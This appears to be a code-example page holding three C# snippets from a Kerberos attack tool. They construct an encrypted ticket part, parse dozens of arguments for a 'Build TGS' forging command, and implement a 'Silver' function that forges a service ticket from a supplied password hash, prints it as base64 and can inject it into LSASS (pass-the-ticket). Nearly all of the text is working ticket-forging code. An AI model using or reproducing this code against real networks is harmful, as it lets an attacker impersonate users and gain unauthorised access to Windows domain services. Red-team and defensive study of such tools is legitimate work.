示例#1
0
        //EncTicketPart::= [APPLICATION 3] SEQUENCE {
        //   flags[0] TicketFlags,
        //   key[1] EncryptionKey,
        //   crealm[2] Realm,
        //   cname[3] PrincipalName,
        //   transited[4] TransitedEncoding,
        //   authtime[5] KerberosTime,
        //   starttime[6] KerberosTime OPTIONAL,
        //   endtime[7] KerberosTime,
        //   renew-till[8] KerberosTime OPTIONAL,
        //   caddr[9] HostAddresses OPTIONAL,
        //  authorization-data[10] AuthorizationData OPTIONAL
        //}

        public EncTicketPart(byte[] sessionKey, Interop.KERB_ETYPE etype, string domain, string user, Interop.TicketFlags ticketFlags, DateTime startTime)
        {
            // flags
            flags = ticketFlags;

            // default times
            authtime   = startTime;
            starttime  = startTime;
            endtime    = starttime.AddHours(10);
            renew_till = starttime.AddDays(7);

            // set session key
            key          = new EncryptionKey();
            key.keytype  = (int)etype;
            key.keyvalue = sessionKey;

            // cname information
            crealm = domain;
            cname  = new PrincipalName(user);

            // default empty TransitedEncoding
            transited = new TransitedEncoding();

            // null caddr and authdata
            caddr = null;
            authorization_data = null;
        }
示例#2
0
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("[*] Action: Build TGS\r\n");

            string     user             = "";
            string     service          = "";
            int?       id               = null;
            string     sids             = "";
            string     groups           = "";
            string     displayName      = "";
            short?     logonCount       = null;
            short?     badPwdCount      = null;
            DateTime?  lastLogon        = null;
            DateTime?  logoffTime       = null;
            DateTime?  pwdLastSet       = null;
            int?       maxPassAge       = null;
            int?       minPassAge       = null;
            int?       pGid             = null;
            string     homeDir          = "";
            string     homeDrive        = "";
            string     profilePath      = "";
            string     scriptPath       = "";
            string     resourceGroupSid = "";
            List <int> resourceGroups   = null;

            Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT;

            string domain  = "";
            string dc      = "";
            string sid     = "";
            string netbios = "";

            bool   ldap         = false;
            string ldapuser     = null;
            string ldappassword = null;

            string hash = "";

            Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
            byte[]             krbKey  = null;
            Interop.KERB_CHECKSUM_ALGORITHM krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256;

            Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent;

            DateTime startTime     = DateTime.UtcNow;
            DateTime authTime      = startTime;
            DateTime?rangeEnd      = null;
            string   rangeInterval = "1d";
            string   endTime       = "";
            string   renewTill     = "";

            string outfile  = "";
            bool   ptt      = false;
            bool   printcmd = false;

            string cName                = null;
            string cRealm               = null;
            string s4uProxyTarget       = null;
            string s4uTransitedServices = null;
            bool   includeAuthData      = false;

            // user information mostly for the PAC
            if (arguments.ContainsKey("/user"))
            {
                string[] parts = arguments["/user"].Split('\\');
                if (parts.Length == 2)
                {
                    domain = parts[0];
                    user   = parts[1];
                }
                else
                {
                    user = arguments["/user"];
                }
            }
            if (arguments.ContainsKey("/sids"))
            {
                sids = arguments["/sids"];
            }
            if (arguments.ContainsKey("/groups"))
            {
                groups = arguments["/groups"];
            }
            if (arguments.ContainsKey("/id"))
            {
                id = Int32.Parse(arguments["/id"]);
            }
            if (arguments.ContainsKey("/pgid"))
            {
                pGid = Int32.Parse(arguments["/pgid"]);
            }
            if (arguments.ContainsKey("/displayname"))
            {
                displayName = arguments["/displayname"];
            }
            if (arguments.ContainsKey("/logoncount"))
            {
                logonCount = short.Parse(arguments["/logoncount"]);
            }
            if (arguments.ContainsKey("/badpwdcount"))
            {
                badPwdCount = short.Parse(arguments["/badpwdcount"]);
            }
            if (arguments.ContainsKey("/lastlogon"))
            {
                lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
            }
            if (arguments.ContainsKey("/logofftime"))
            {
                logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
            }
            if (arguments.ContainsKey("/pwdlastset"))
            {
                pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
            }
            if (arguments.ContainsKey("/maxpassage"))
            {
                maxPassAge = Int32.Parse(arguments["/maxpassage"]);
            }
            if (arguments.ContainsKey("/minpassage"))
            {
                minPassAge = Int32.Parse(arguments["/minpassage"]);
            }
            if (arguments.ContainsKey("/homedir"))
            {
                homeDir = arguments["/homedir"];
            }
            if (arguments.ContainsKey("/homedrive"))
            {
                homeDrive = arguments["/homedrive"];
            }
            if (arguments.ContainsKey("/profilepath"))
            {
                profilePath = arguments["/profilepath"];
            }
            if (arguments.ContainsKey("/scriptpath"))
            {
                scriptPath = arguments["/scriptpath"];
            }
            if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups"))
            {
                resourceGroupSid = arguments["/resourcegroupsid"];
                resourceGroups   = new List <int>();
                foreach (string rgroup in arguments["/resourcegroups"].Split(','))
                {
                    try
                    {
                        resourceGroups.Add(Int32.Parse(rgroup));
                    }
                    catch
                    {
                        Console.WriteLine("[!] Resource group value invalid: {0}", rgroup);
                    }
                }
            }
            if (arguments.ContainsKey("/uac"))
            {
                Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY;

                foreach (string u in arguments["/uac"].Split(','))
                {
                    Interop.PacUserAccountControl result;
                    bool status = Interop.PacUserAccountControl.TryParse(u, out result);

                    if (status)
                    {
                        tmp |= result;
                    }
                    else
                    {
                        Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u);
                    }
                }
                if (tmp != Interop.PacUserAccountControl.EMPTY)
                {
                    uac = tmp;
                }
            }

            // domain and DC information
            if (arguments.ContainsKey("/domain"))
            {
                domain = arguments["/domain"];
            }
            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }
            if (arguments.ContainsKey("/sid"))
            {
                sid = arguments["/sid"];
            }
            if (arguments.ContainsKey("/netbios"))
            {
                netbios = arguments["/netbios"];
            }

            // getting the user information from LDAP
            if (arguments.ContainsKey("/ldap"))
            {
                ldap = true;
                if (arguments.ContainsKey("/creduser"))
                {
                    if (!arguments.ContainsKey("/credpassword"))
                    {
                        Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
                        return;
                    }

                    ldapuser     = arguments["/creduser"];
                    ldappassword = arguments["/credpassword"];
                }

                if (String.IsNullOrEmpty(domain))
                {
                    domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name;
                }
            }

            // service name
            if (arguments.ContainsKey("/service"))
            {
                service = arguments["/service"];
            }
            else
            {
                Console.WriteLine("[X] SPN '/service:sname/server.domain.com' is required");
                return;
            }

            // encryption types
            encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified
            if (arguments.ContainsKey("/enctype"))
            {
                string encTypeString = arguments["/enctype"].ToUpper();

                if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
                {
                    encType = Interop.KERB_ETYPE.rc4_hmac;
                }
                else if (encTypeString.Equals("AES128"))
                {
                    encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
                {
                    encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("DES"))
                {
                    encType = Interop.KERB_ETYPE.des_cbc_md5;
                }
            }

            if (arguments.ContainsKey("/des"))
            {
                hash    = arguments["/des"];
                encType = Interop.KERB_ETYPE.des_cbc_md5;
            }
            else if (arguments.ContainsKey("/rc4"))
            {
                hash    = arguments["/rc4"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.ContainsKey("/ntlm"))
            {
                hash    = arguments["/ntlm"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.ContainsKey("/aes128"))
            {
                hash    = arguments["/aes128"];
                encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
            }
            else if (arguments.ContainsKey("/aes256"))
            {
                hash    = arguments["/aes256"];
                encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
            }

            if (arguments.ContainsKey("/krbkey"))
            {
                krbKey = Helpers.StringToByteArray(arguments["/krbkey"]);
            }

            if (arguments.ContainsKey("/krbenctype"))
            {
                if (krbKey == null)
                {
                    Console.WriteLine("[!] '/krbkey' not specified ignoring the '/krbenctype' argument");
                }
                else
                {
                    string krbEncTypeString = arguments["/krbenctype"].ToUpper();

                    if (krbEncTypeString.Equals("RC4") || krbEncTypeString.Equals("NTLM") || krbEncTypeString.Equals("DES"))
                    {
                        krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5;
                    }
                    else if (krbEncTypeString.Equals("AES128"))
                    {
                        krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128;
                    }
                    else if (krbEncTypeString.Equals("AES256") || krbEncTypeString.Equals("AES"))
                    {
                        krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256;
                    }
                }
            }

            // flags
            if (arguments.ContainsKey("/flags"))
            {
                Interop.TicketFlags tmp = Interop.TicketFlags.empty;

                foreach (string flag in arguments["/flags"].Split(','))
                {
                    Interop.TicketFlags result;
                    bool status = Interop.TicketFlags.TryParse(flag, out result);

                    if (status)
                    {
                        tmp |= result;
                    }
                    else
                    {
                        Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag);
                    }
                }
                if (tmp != Interop.TicketFlags.empty)
                {
                    flags = tmp;
                }
            }

            // ticket times
            if (arguments.ContainsKey("/starttime"))
            {
                try
                {
                    startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
                }
                catch (Exception e)
                {
                    Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message);
                    return;
                }
            }
            if (arguments.ContainsKey("/authtime"))
            {
                try
                {
                    authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
                }
                catch (Exception e)
                {
                    Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message);
                    authTime = startTime;
                }
            }
            else if (arguments.ContainsKey("/starttime"))
            {
                authTime = startTime;
            }
            if (arguments.ContainsKey("/rangeend"))
            {
                rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]);
                if (rangeEnd == null)
                {
                    Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]);
                    rangeEnd = startTime;
                }
            }
            if (arguments.ContainsKey("/rangeinterval"))
            {
                rangeInterval = arguments["/rangeinterval"];
            }
            if (arguments.ContainsKey("/endtime"))
            {
                endTime = arguments["/endtime"];
            }
            if (arguments.ContainsKey("/renewtill"))
            {
                renewTill = arguments["/renewtill"];
            }

            // actions for the ticket(s)
            if (arguments.ContainsKey("/ptt"))
            {
                ptt = true;
            }
            if (arguments.ContainsKey("/outfile"))
            {
                outfile = arguments["/outfile"];
            }

            // print a command that could be used to recreate the ticket
            // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again
            if (arguments.ContainsKey("/printcmd"))
            {
                printcmd = true;
            }

            // unusual service ticket options
            if (arguments.ContainsKey("/cname"))
            {
                cName = arguments["/cname"];
            }
            if (arguments.ContainsKey("/crealm"))
            {
                cRealm = arguments["/crealm"];
            }
            if (arguments.ContainsKey("/s4uproxytarget"))
            {
                s4uProxyTarget = arguments["/s4uproxytarget"];
            }
            if (arguments.ContainsKey("/s4utransitedservices"))
            {
                s4uTransitedServices = arguments["/s4utransitedservices"];
            }
            if (arguments.ContainsKey("/authdata"))
            {
                includeAuthData = true;
            }

            // checks
            if (String.IsNullOrEmpty(user))
            {
                Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                return;
            }
            if (String.IsNullOrEmpty(hash))
            {
                Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n");
                return;
            }
            if (!String.IsNullOrEmpty(s4uProxyTarget) || !String.IsNullOrEmpty(s4uTransitedServices))
            {
                if (String.IsNullOrEmpty(s4uProxyTarget) || String.IsNullOrEmpty(s4uTransitedServices))
                {
                    Console.WriteLine("[X] Need to supply both '/s4uproxytarget' and '/s4utransitedservices'.\r\n");
                    return;
                }
            }

            if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
            {
                Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n");
                return;
            }
            else
            {
                ForgeTickets.ForgeTicket(
                    user,
                    service,
                    Helpers.StringToByteArray(hash),
                    encType,
                    krbKey,
                    krbEncType,
                    ldap,
                    ldapuser,
                    ldappassword,
                    sid,
                    domain,
                    netbios,
                    dc,
                    flags,
                    startTime,
                    rangeEnd,
                    rangeInterval,
                    authTime,
                    endTime,
                    renewTill,
                    id,
                    groups,
                    sids,
                    displayName,
                    logonCount,
                    badPwdCount,
                    lastLogon,
                    logoffTime,
                    pwdLastSet,
                    maxPassAge,
                    minPassAge,
                    pGid,
                    homeDir,
                    homeDrive,
                    profilePath,
                    scriptPath,
                    resourceGroupSid,
                    resourceGroups,
                    uac,
                    outfile,
                    ptt,
                    printcmd,
                    cName,
                    cRealm,
                    s4uProxyTarget,
                    s4uTransitedServices,
                    includeAuthData
                    );
                return;
            }
        }
示例#3
0
        public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent)
        {
            // determine domain if not supplied
            string[] parts = sname.Split('/');
            if (String.IsNullOrEmpty(domain))
            {
                if ((parts.Length > 1) && (parts[0] == "krbtgt"))
                {
                    Console.WriteLine("[X] Referral TGT requires /domain to be passed.");
                    return;
                }
                else if ((parts.Length == 1) && (sname.Split('@').Length == 1))
                {
                    Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'.");
                    return;
                }
                else if (parts.Length > 1)
                {
                    domain = parts[1].Substring(parts[1].IndexOf('.') + 1);
                    string[] domainParts = domain.Split(':');
                    if (domainParts.Length > 1)
                    {
                        domain = domainParts[0];
                    }
                }
                else if (sname.Split('@').Length > 1)
                {
                    domain = sname.Split('@')[1];
                }
                else
                {
                    Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname);
                    return;
                }
            }

            // initialize some structures
            KRB_CRED    cred = new KRB_CRED();
            KrbCredInfo info = new KrbCredInfo();

            // generate a random session key
            Random random = new Random();

            byte[] randKeyBytes;
            if (etype == Interop.KERB_ETYPE.rc4_hmac)
            {
                randKeyBytes = new byte[16];
                random.NextBytes(randKeyBytes);
            }
            else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
            {
                randKeyBytes = new byte[32];
                random.NextBytes(randKeyBytes);
            }
            else
            {
                Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!");
                return;
            }

            EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags);

            // get the key from keyString
            byte[] key = Helpers.StringToByteArray(keyString);

            // encrypt the EncTicketPart
            byte[] encTicketData = decTicketPart.Encode().Encode();
            byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);

            // initialize the ticket and add the enc_part
            Ticket ticket = new Ticket(domain.ToUpper(), sname);

            ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3);

            // add the ticket
            cred.tickets.Add(ticket);

            // [0] add in the session key
            info.key.keytype  = (int)etype;
            info.key.keyvalue = randKeyBytes;

            // [1] prealm (domain)
            info.prealm = decTicketPart.crealm;

            // [2] pname (user)
            info.pname.name_type   = decTicketPart.cname.name_type;
            info.pname.name_string = decTicketPart.cname.name_string;

            // [3] flags
            info.flags = flags;

            // [4] authtime (not required)
            info.authtime = decTicketPart.authtime;

            // [5] starttime
            info.starttime = decTicketPart.starttime;

            // [6] endtime
            info.endtime = decTicketPart.endtime;

            // [7] renew-till
            info.renew_till = decTicketPart.renew_till;

            // [8] srealm
            info.srealm = ticket.realm;

            // [9] sname
            info.sname.name_type   = ticket.sname.name_type;
            info.sname.name_string = ticket.sname.name_string;

            // add the ticket_info into the cred object
            cred.enc_part.ticket_info.Add(info);

            byte[] kirbiBytes = cred.Encode().Encode();

            string kirbiString = Convert.ToBase64String(kirbiBytes);

            Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname);
            Console.WriteLine("[*] base64(ticket.kirbi):\r\n");

            if (Program.wrapTickets)
            {
                // display the .kirbi base64, columns of 80 chararacters
                foreach (string line in Helpers.Split(kirbiString, 80))
                {
                    Console.WriteLine("      {0}", line);
                }
            }
            else
            {
                Console.WriteLine("      {0}", kirbiString);
            }

            Console.WriteLine("");

            if (!String.IsNullOrEmpty(outfile))
            {
                string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
                filename = Helpers.MakeValidFileName(filename);
                if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                {
                    Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                }
            }

            if (ptt)
            {
                // pass-the-ticket -> import into LSASS
                LSA.ImportTicket(kirbiBytes, new LUID());
            }
        }